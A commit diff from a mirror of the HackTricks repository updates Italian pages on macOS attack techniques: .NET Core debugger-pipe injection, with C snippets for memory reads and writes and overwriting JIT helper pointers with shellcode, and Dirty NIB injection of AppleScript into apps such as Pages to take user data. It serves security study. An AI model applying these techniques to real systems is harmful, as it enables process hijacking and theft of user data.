mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
e0fd02bb8e
commit
ead57c5f8d
82 changed files with 2905 additions and 3492 deletions
|
@ -1,30 +1,31 @@
|
||||||
# Iniezione di applicazioni .Net su macOS
|
# macOS .Net Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Questo è un riassunto del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Consultalo per ulteriori dettagli!**
|
**Questo è un riassunto del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Controllalo per ulteriori dettagli!**
|
||||||
|
|
||||||
## Debugging di .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
|
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
### **Avvio di una sessione di debug** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
### **Stabilire una sessione di debug** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
La gestione della comunicazione tra il debugger e il debuggee in .NET è gestita da [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Questo componente configura due named pipe per ogni processo .NET, come si può vedere in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), che vengono iniziate tramite [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Queste pipe sono suffisse con **`-in`** e **`-out`**.
|
La gestione della comunicazione tra debugger e debuggee in .NET è gestita da [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Questo componente imposta due pipe nominate per ogni processo .NET come visto in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), che vengono iniziate tramite [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Queste pipe sono suffisse con **`-in`** e **`-out`**.
|
||||||
|
|
||||||
Visitando la directory **`$TMPDIR`** dell'utente, è possibile trovare FIFO di debug disponibili per le applicazioni .Net.
|
Visitando il **`$TMPDIR`** dell'utente, si possono trovare FIFO di debug disponibili per il debug delle applicazioni .Net.
|
||||||
|
|
||||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) è responsabile della gestione della comunicazione da parte di un debugger. Per avviare una nuova sessione di debug, un debugger deve inviare un messaggio tramite la pipe `out` che inizia con una struttura `MessageHeader`, dettagliata nel codice sorgente di .NET:
|
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) è responsabile della gestione della comunicazione da un debugger. Per avviare una nuova sessione di debug, un debugger deve inviare un messaggio tramite la pipe `out` che inizia con una struct `MessageHeader`, dettagliata nel codice sorgente di .NET:
|
||||||
```c
|
```c
|
||||||
struct MessageHeader {
|
struct MessageHeader {
|
||||||
MessageType m_eType; // Message type
|
MessageType m_eType; // Message type
|
||||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
||||||
BYTE m_sMustBeZero[8];
|
BYTE m_sMustBeZero[8];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Per richiedere una nuova sessione, questa struttura viene popolata nel seguente modo, impostando il tipo di messaggio su `MT_SessionRequest` e la versione del protocollo alla versione corrente:
|
Per richiedere una nuova sessione, questa struct viene popolata come segue, impostando il tipo di messaggio su `MT_SessionRequest` e la versione del protocollo sulla versione attuale:
|
||||||
```c
|
```c
|
||||||
static const DWORD kCurrentMajorVersion = 2;
|
static const DWORD kCurrentMajorVersion = 2;
|
||||||
static const DWORD kCurrentMinorVersion = 0;
|
static const DWORD kCurrentMinorVersion = 0;
|
||||||
|
@ -54,17 +55,17 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
||||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||||
```
|
```
|
||||||
Quest'intestazione viene quindi inviata al target utilizzando la chiamata di sistema `write`, seguita dalla struttura `sessionRequestData` che contiene un GUID per la sessione:
|
Questo header viene quindi inviato al target utilizzando la syscall `write`, seguito dalla struct `sessionRequestData` contenente un GUID per la sessione:
|
||||||
```c
|
```c
|
||||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||||
```
|
```
|
||||||
Un'operazione di lettura sul tubo `out` conferma il successo o il fallimento dell'instaurazione della sessione di debug:
|
Un'operazione di lettura sul pipe `out` conferma il successo o il fallimento dell'instaurazione della sessione di debug:
|
||||||
```c
|
```c
|
||||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||||
```
|
```
|
||||||
## Lettura della memoria
|
## Lettura della Memoria
|
||||||
Una volta stabilita una sessione di debug, la memoria può essere letta utilizzando il tipo di messaggio [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La funzione readMemory è dettagliata, eseguendo i passaggi necessari per inviare una richiesta di lettura e recuperare la risposta:
|
Una volta stabilita una sessione di debug, la memoria può essere letta utilizzando il tipo di messaggio [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La funzione readMemory è dettagliata, eseguendo i passaggi necessari per inviare una richiesta di lettura e recuperare la risposta:
|
||||||
```c
|
```c
|
||||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
La prova di concetto (POC) completa è disponibile [qui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
La prova di concetto completa (POC) è disponibile [qui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||||
|
|
||||||
## Scrittura in memoria
|
## Scrittura della Memoria
|
||||||
|
|
||||||
Allo stesso modo, la memoria può essere scritta utilizzando la funzione `writeMemory`. Il processo prevede di impostare il tipo di messaggio su `MT_WriteMemory`, specificare l'indirizzo e la lunghezza dei dati, e quindi inviare i dati:
|
Allo stesso modo, la memoria può essere scritta utilizzando la funzione `writeMemory`. Il processo prevede di impostare il tipo di messaggio su `MT_WriteMemory`, specificare l'indirizzo e la lunghezza dei dati, e poi inviare i dati:
|
||||||
```c
|
```c
|
||||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||||
// Increment IDs, set message type, and specify memory location
|
// Increment IDs, set message type, and specify memory location
|
||||||
|
@ -95,18 +96,18 @@ return true;
|
||||||
```
|
```
|
||||||
Il POC associato è disponibile [qui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
Il POC associato è disponibile [qui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||||
|
|
||||||
## Esecuzione del codice .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
## Esecuzione di Codice .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||||
|
|
||||||
Per eseguire il codice, è necessario identificare una regione di memoria con le autorizzazioni rwx, che può essere fatto utilizzando vmmap -pages:
|
Per eseguire codice, è necessario identificare una regione di memoria con permessi rwx, il che può essere fatto usando vmmap -pages:
|
||||||
```bash
|
```bash
|
||||||
vmmap -pages [pid]
|
vmmap -pages [pid]
|
||||||
vmmap -pages 35829 | grep "rwx/rwx"
|
vmmap -pages 35829 | grep "rwx/rwx"
|
||||||
```
|
```
|
||||||
È necessario individuare un punto in cui sovrascrivere un puntatore a una funzione e, in .NET Core, ciò può essere fatto mirando alla **Dynamic Function Table (DFT)**. Questa tabella, descritta in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), viene utilizzata dal runtime per le funzioni helper di compilazione JIT.
|
Trovare un luogo per sovrascrivere un puntatore di funzione è necessario, e in .NET Core, questo può essere fatto mirato alla **Dynamic Function Table (DFT)**. Questa tabella, dettagliata in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), è utilizzata dal runtime per le funzioni di aiuto della compilazione JIT.
|
||||||
|
|
||||||
Per i sistemi x64, è possibile utilizzare la ricerca della firma per trovare un riferimento al simbolo `_hlpDynamicFuncTable` in `libcorclr.dll`.
|
Per i sistemi x64, la ricerca delle firme può essere utilizzata per trovare un riferimento al simbolo `_hlpDynamicFuncTable` in `libcorclr.dll`.
|
||||||
|
|
||||||
La funzione di debug `MT_GetDCB` fornisce informazioni utili, tra cui l'indirizzo di una funzione helper, `m_helperRemoteStartAddr`, che indica la posizione di `libcorclr.dll` nella memoria del processo. Questo indirizzo viene quindi utilizzato per avviare una ricerca della DFT e sovrascrivere un puntatore a una funzione con l'indirizzo del codice shell.
|
La funzione di debug `MT_GetDCB` fornisce informazioni utili, incluso l'indirizzo di una funzione di aiuto, `m_helperRemoteStartAddr`, che indica la posizione di `libcorclr.dll` nella memoria del processo. Questo indirizzo viene quindi utilizzato per avviare una ricerca per la DFT e sovrascrivere un puntatore di funzione con l'indirizzo del shellcode.
|
||||||
|
|
||||||
Il codice POC completo per l'iniezione in PowerShell è accessibile [qui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
Il codice POC completo per l'iniezione in PowerShell è accessibile [qui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||||
|
|
||||||
|
@ -114,16 +115,17 @@ Il codice POC completo per l'iniezione in PowerShell è accessibile [qui](https:
|
||||||
|
|
||||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,86 +1,88 @@
|
||||||
# macOS Dirty NIB
|
# macOS Dirty NIB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Per ulteriori dettagli sulla tecnica, consulta il post originale su: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ecco un riassunto:
|
**Per ulteriori dettagli sulla tecnica, controlla il post originale da: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ecco un riassunto:
|
||||||
|
|
||||||
I file NIB, parte dell'ecosistema di sviluppo di Apple, sono destinati a definire **elementi dell'interfaccia utente** e le loro interazioni nelle applicazioni. Comprendono oggetti serializzati come finestre e pulsanti e vengono caricati durante l'esecuzione. Nonostante il loro utilizzo continuo, Apple ora consiglia l'uso di Storyboard per una visualizzazione più completa del flusso dell'interfaccia utente.
|
I file NIB, parte dell'ecosistema di sviluppo di Apple, sono destinati a definire **elementi UI** e le loro interazioni nelle applicazioni. Comprendono oggetti serializzati come finestre e pulsanti, e vengono caricati durante l'esecuzione. Nonostante il loro utilizzo continuo, Apple ora promuove gli Storyboard per una visualizzazione più completa del flusso UI.
|
||||||
|
|
||||||
### Preoccupazioni per la sicurezza con i file NIB
|
### Preoccupazioni di Sicurezza con i File NIB
|
||||||
È importante notare che i file NIB possono rappresentare un rischio per la sicurezza. Hanno il potenziale per **eseguire comandi arbitrari** e le modifiche ai file NIB all'interno di un'app non impediscono a Gatekeeper di eseguire l'app, rappresentando una minaccia significativa.
|
È fondamentale notare che **i file NIB possono rappresentare un rischio per la sicurezza**. Hanno il potenziale di **eseguire comandi arbitrari**, e le modifiche ai file NIB all'interno di un'app non impediscono a Gatekeeper di eseguire l'app, rappresentando una minaccia significativa.
|
||||||
|
|
||||||
### Processo di iniezione di Dirty NIB
|
### Processo di Iniezione di Dirty NIB
|
||||||
#### Creazione e configurazione di un file NIB
|
#### Creazione e Configurazione di un File NIB
|
||||||
1. **Configurazione iniziale**:
|
1. **Impostazione Iniziale**:
|
||||||
- Crea un nuovo file NIB utilizzando XCode.
|
- Crea un nuovo file NIB utilizzando XCode.
|
||||||
- Aggiungi un oggetto all'interfaccia, impostando la sua classe su `NSAppleScript`.
|
- Aggiungi un Oggetto all'interfaccia, impostando la sua classe su `NSAppleScript`.
|
||||||
- Configura la proprietà `source` iniziale tramite gli attributi di runtime definiti dall'utente.
|
- Configura la proprietà `source` iniziale tramite Attributi di Runtime Definiti dall'Utente.
|
||||||
|
|
||||||
2. **Gadget di esecuzione del codice**:
|
2. **Gadget di Esecuzione del Codice**:
|
||||||
- La configurazione facilita l'esecuzione di AppleScript su richiesta.
|
- La configurazione facilita l'esecuzione di AppleScript su richiesta.
|
||||||
- Integra un pulsante per attivare l'oggetto `Apple Script`, che attiva specificamente il selettore `executeAndReturnError:`.
|
- Integra un pulsante per attivare l'oggetto `Apple Script`, attivando specificamente il selettore `executeAndReturnError:`.
|
||||||
|
|
||||||
3. **Test**:
|
3. **Test**:
|
||||||
- Uno script Apple semplice per scopi di test:
|
- Un semplice Apple Script per scopi di test:
|
||||||
```bash
|
```bash
|
||||||
set theDialogText to "PWND"
|
set theDialogText to "PWND"
|
||||||
display dialog theDialogText
|
display dialog theDialogText
|
||||||
```
|
```
|
||||||
- Prova eseguendo il debug in XCode e facendo clic sul pulsante.
|
- Testa eseguendo nel debugger di XCode e cliccando il pulsante.
|
||||||
|
|
||||||
#### Individuazione di un'applicazione di destinazione (Esempio: Pages)
|
#### Targeting di un'Applicazione (Esempio: Pages)
|
||||||
1. **Preparazione**:
|
1. **Preparazione**:
|
||||||
- Copia l'applicazione di destinazione (ad esempio, Pages) in una directory separata (ad esempio, `/tmp/`).
|
- Copia l'app target (ad es., Pages) in una directory separata (ad es., `/tmp/`).
|
||||||
- Avvia l'applicazione per evitare problemi con Gatekeeper e memorizzala nella cache.
|
- Avvia l'app per evitare problemi con Gatekeeper e memorizzarla nella cache.
|
||||||
|
|
||||||
2. **Sovrascrittura del file NIB**:
|
2. **Sovrascrittura del File NIB**:
|
||||||
- Sostituisci un file NIB esistente (ad esempio, About Panel NIB) con il file DirtyNIB creato.
|
- Sostituisci un file NIB esistente (ad es., About Panel NIB) con il file DirtyNIB creato.
|
||||||
|
|
||||||
3. **Esecuzione**:
|
3. **Esecuzione**:
|
||||||
- Avvia l'esecuzione interagendo con l'applicazione (ad esempio, selezionando la voce di menu `About`).
|
- Attiva l'esecuzione interagendo con l'app (ad es., selezionando l'elemento di menu `About`).
|
||||||
|
|
||||||
#### Proof of Concept: Accesso ai dati dell'utente
|
#### Prova di Concetto: Accesso ai Dati Utente
|
||||||
- Modifica lo script Apple per accedere ed estrarre i dati dell'utente, come le foto, senza il consenso dell'utente.
|
- Modifica l'AppleScript per accedere ed estrarre dati utente, come foto, senza il consenso dell'utente.
|
||||||
|
|
||||||
### Esempio di codice: File .xib maligno
|
### Esempio di Codice: File .xib Maligno
|
||||||
- Accedi e esamina un [**esempio di un file .xib maligno**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) che dimostra l'esecuzione di codice arbitrario.
|
- Accedi e rivedi un [**campione di un file .xib maligno**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) che dimostra l'esecuzione di codice arbitrario.
|
||||||
|
|
||||||
### Affrontare i vincoli di avvio
|
### Affrontare i Vincoli di Avvio
|
||||||
- I vincoli di avvio impediscono l'esecuzione dell'applicazione da posizioni impreviste (ad esempio, `/tmp`).
|
- I Vincoli di Avvio ostacolano l'esecuzione dell'app da posizioni inaspettate (ad es., `/tmp`).
|
||||||
- È possibile identificare le app non protette dai vincoli di avvio e prendere di mira l'iniezione di file NIB su di esse.
|
- È possibile identificare app non protette dai Vincoli di Avvio e mirare a esse per l'iniezione del file NIB.
|
||||||
|
|
||||||
### Ulteriori protezioni macOS
|
### Ulteriori Protezioni di macOS
|
||||||
A partire da macOS Sonoma, le modifiche all'interno dei pacchetti delle app sono limitate. Tuttavia, i metodi precedenti prevedevano:
|
A partire da macOS Sonoma, le modifiche all'interno dei bundle delle app sono limitate. Tuttavia, i metodi precedenti prevedevano:
|
||||||
1. Copiare l'applicazione in una posizione diversa (ad esempio, `/tmp/`).
|
1. Copiare l'app in un'altra posizione (ad es., `/tmp/`).
|
||||||
2. Rinominare le directory all'interno del pacchetto dell'app per aggirare le protezioni iniziali.
|
2. Rinominare le directory all'interno del bundle dell'app per bypassare le protezioni iniziali.
|
||||||
3. Dopo aver eseguito l'applicazione per registrarsi con Gatekeeper, modificare il pacchetto dell'app (ad esempio, sostituendo MainMenu.nib con Dirty.nib).
|
3. Dopo aver eseguito l'app per registrarsi con Gatekeeper, modificare il bundle dell'app (ad es., sostituendo MainMenu.nib con Dirty.nib).
|
||||||
4. Rinominare nuovamente le directory e rieseguire l'applicazione per eseguire il file NIB iniettato.
|
4. Rinominare di nuovo le directory e rieseguire l'app per eseguire il file NIB iniettato.
|
||||||
|
|
||||||
**Nota**: Gli aggiornamenti recenti di macOS hanno mitigato questa vulnerabilità impedendo le modifiche ai file all'interno dei pacchetti delle app dopo la memorizzazione nella cache di Gatekeeper, rendendo la vulnerabilità inefficace.
|
**Nota**: Gli aggiornamenti recenti di macOS hanno mitigato questo exploit impedendo le modifiche ai file all'interno dei bundle delle app dopo la memorizzazione nella cache di Gatekeeper, rendendo l'exploit inefficace.
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,56 +1,57 @@
|
||||||
# Iniezione di thread su macOS tramite porta di attività
|
# macOS Thread Injection via Task port
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
